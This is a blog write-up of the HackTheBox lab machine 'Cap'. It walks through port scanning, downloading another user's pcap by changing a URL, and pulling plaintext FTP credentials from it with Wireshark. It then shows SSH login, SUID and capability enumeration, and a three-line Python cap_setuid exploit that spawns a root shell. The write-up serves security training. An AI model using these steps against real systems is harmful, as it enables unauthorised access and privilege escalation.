Dear readers
Today’s post is on Cap, an easy GNU/Linux machine on HackTheBox. It was created on 6th June 2021. It is a fairly easy machine to get user access to the server but quite hard to escalate privilege (PE) as the method to do it is very uncommon. This challenge is on understanding the web file directory and knowing how to use Wireshark to access the server at the user level as well as finding file capabilities in the system for PE. Let’s get started!
Tools required
Emulation
The first step I did was to conduct a port scan to see what ports are open and services are available with the use of Nmap.
┌──(soulx㉿kali)-[~] └─$ nmap -Pn -n -sV -v -p1-1000 10.10.10.245 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 12:30 +08 NSE: Loaded 45 scripts for scanning. Initiating Connect Scan at 12:30 Scanning 10.10.10.245 [1000 ports] Discovered open port 21/tcp on 10.10.10.245 Discovered open port 80/tcp on 10.10.10.245 Discovered open port 22/tcp on 10.10.10.245 Completed Connect Scan at 12:30, 10.34s elapsed (1000 total ports) Initiating Service scan at 12:30 Scanning 3 services on 10.10.10.245 Completed Service scan at 12:32, 116.77s elapsed (3 services on 1 host) NSE: Script scanning 10.10.10.245. Initiating NSE at 12:32 Completed NSE at 12:32, 15.02s elapsed Initiating NSE at 12:32 Completed NSE at 12:32, 1.16s elapsed Nmap scan report for 10.10.10.245 Host is up (0.15s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http gunicorn 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.91%I=7%D=6/30%Time=60DBF35E%P=x86_64-pc-linux-gnu%r(GetR SF:equest,306C,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20 SF:Wed,\x2030\x20Jun\x202021\x2004:31:12\x20GMT\r\nConnection:\x20close\r\ SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193 SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\ SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2 SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\ SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\ SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale= SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20< SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\"> SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20 SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel= SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2 SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\. SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Wed,\x2 SF:030\x20Jun\x202021\x2004:31:13\x20GMT\r\nConnection:\x20close\r\nConten SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x SF:20GET\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2 SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20 SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\ SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali SF:d\x20HTTP\x20Version\x20'Invalid\x20HTTP\x20Version:\x20'RTSP SF:/1\.0''\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189 SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20W SF:ed,\x2030\x20Jun\x202021\x2004:31:18\x20GMT\r\nConnection:\x20close\r\n SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\ SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20 SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1> SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n"); Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 144.40 seconds
Based on the Nmap result shown above, we can access the server using FTP or SSH. But firstly, let’s check out the website by going to http://10.10.10.245.
Outlook of the website


Based on Fig 4b, we can see that some .pcap files can be downloaded. If we try to navigate to the 0th data by modifying the URL, we will get another .pcap file that has more data. The number of data/<number> will keep increase if more people access it. Therefore, we should look at the originally captured data at data/0 by downloading the file.

We can then continue to look at the other pages but there is no useful information.


Wireshark analysis of PCAP file
Based on the PCAP file I obtained in Fig 4c, I opened it with Wireshark to analyze it. While looking through, I noticed credentials packets are leaked when FTP request for authentication. As we know that FTP sends data over plain text, it is easy for us to see the username and password. The username and password are definitely correct as of the packets after inputting of password show that the authentication is successful (see the highlighted part in Fig 5 for username, password, and successful authentication packets).

We can see that the username and passwords are:
Username: nathan Password: Buck3tH4TF0RM3!
Trying credentials via FTP
Since we have the username and password, I tried to access the server via FTP. Below shows the commands and results where we were able to successfully login using that leaked credential.
┌──(soulx㉿kali)-[~] └─$ ftp 10.10.10.245 21 Connected to 10.10.10.245. 220 (vsFTPd 3.0.3) Name (10.10.10.245:soulx): nathan 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> pass Passive mode on. ftp> ls 227 Entering Passive Mode (10,10,10,245,238,57) 150 Here comes the directory listing. -r-------- 1 1001 1001 33 Jun 30 04:28 user.txt 226 Directory send OK.
We can immediately see user.txt that contains the user flag.
Trying credentials via SSH and obtaining user flag
Using the same credentials as Nathan, I decided to try to login via SSH so that we can have a proper shell.
┌──(soulx㉿kali)-[~] └─$ ssh nathan@10.10.10.245 nathan@10.10.10.245's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed Jun 30 05:10:41 UTC 2021 System load: 0.06 Usage of /: 35.0% of 8.73GB Memory usage: 21% Swap usage: 0% Processes: 225 Users logged in: 1 IPv4 address for eth0: 10.10.10.245 IPv6 address for eth0: dead:beef::250:56ff:feb9:1191 => There are 2 zombie processes. * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Jun 30 05:08:52 2021 from 10.10.14.89 nathan@cap:~$
The results above show that we are able to successfully login using the same credentials.
We can then obtain the user flag as shown below.
nathan@cap:~$ ls user.txt nathan@cap:~$ cat user.txt db0*****************************
Privilege escalate and obtaining root flag
We can 1st start with sudo -l command to see what sudo/system ability does Nathan has. However, Nathan’s account is not in the sudoer.
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
Therefore, we have to try other ways to privilege escalate (PE). I 1st tried to find any SUID or GUID program in the system.
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;
There was an interesting file that appeared which is pkexec. I tried to follow the method by hacktricks.xyz here but it doesn’t work as I was still prompted to input the root’s password.
I decided to try out LinPEAS‘s shell script by running it on the server and an interesting result came out. Python3.8 on the server is able to setuid to 0 which is root. Below shows a snippet of the long LinPEAS’s output where it is important to us. I have changed the font of what we are interested in into Cyan so that it can be easily seen by you all.
......
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
......
The same result regarding file capabilities to access in root/system level can be obtained using getcap tool.
nathan@cap:~$ getcap -r / 2>/dev/null /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip /usr/bin/ping = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
You can refer to this article on cap_setuid in Python by gtfobin here. Alternatively, you can just use the python code shown below by creating a Python file and running the exploit. I called the file exploit.py.
import os os.setuid(0) os.system("/bin/sh")
A root shell will appear and you will be able to obtain the root flag.
nathan@cap:~$ python3 exploit.py # ls /root root.txt snap # cat /root/root.txt 246*****************************
I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂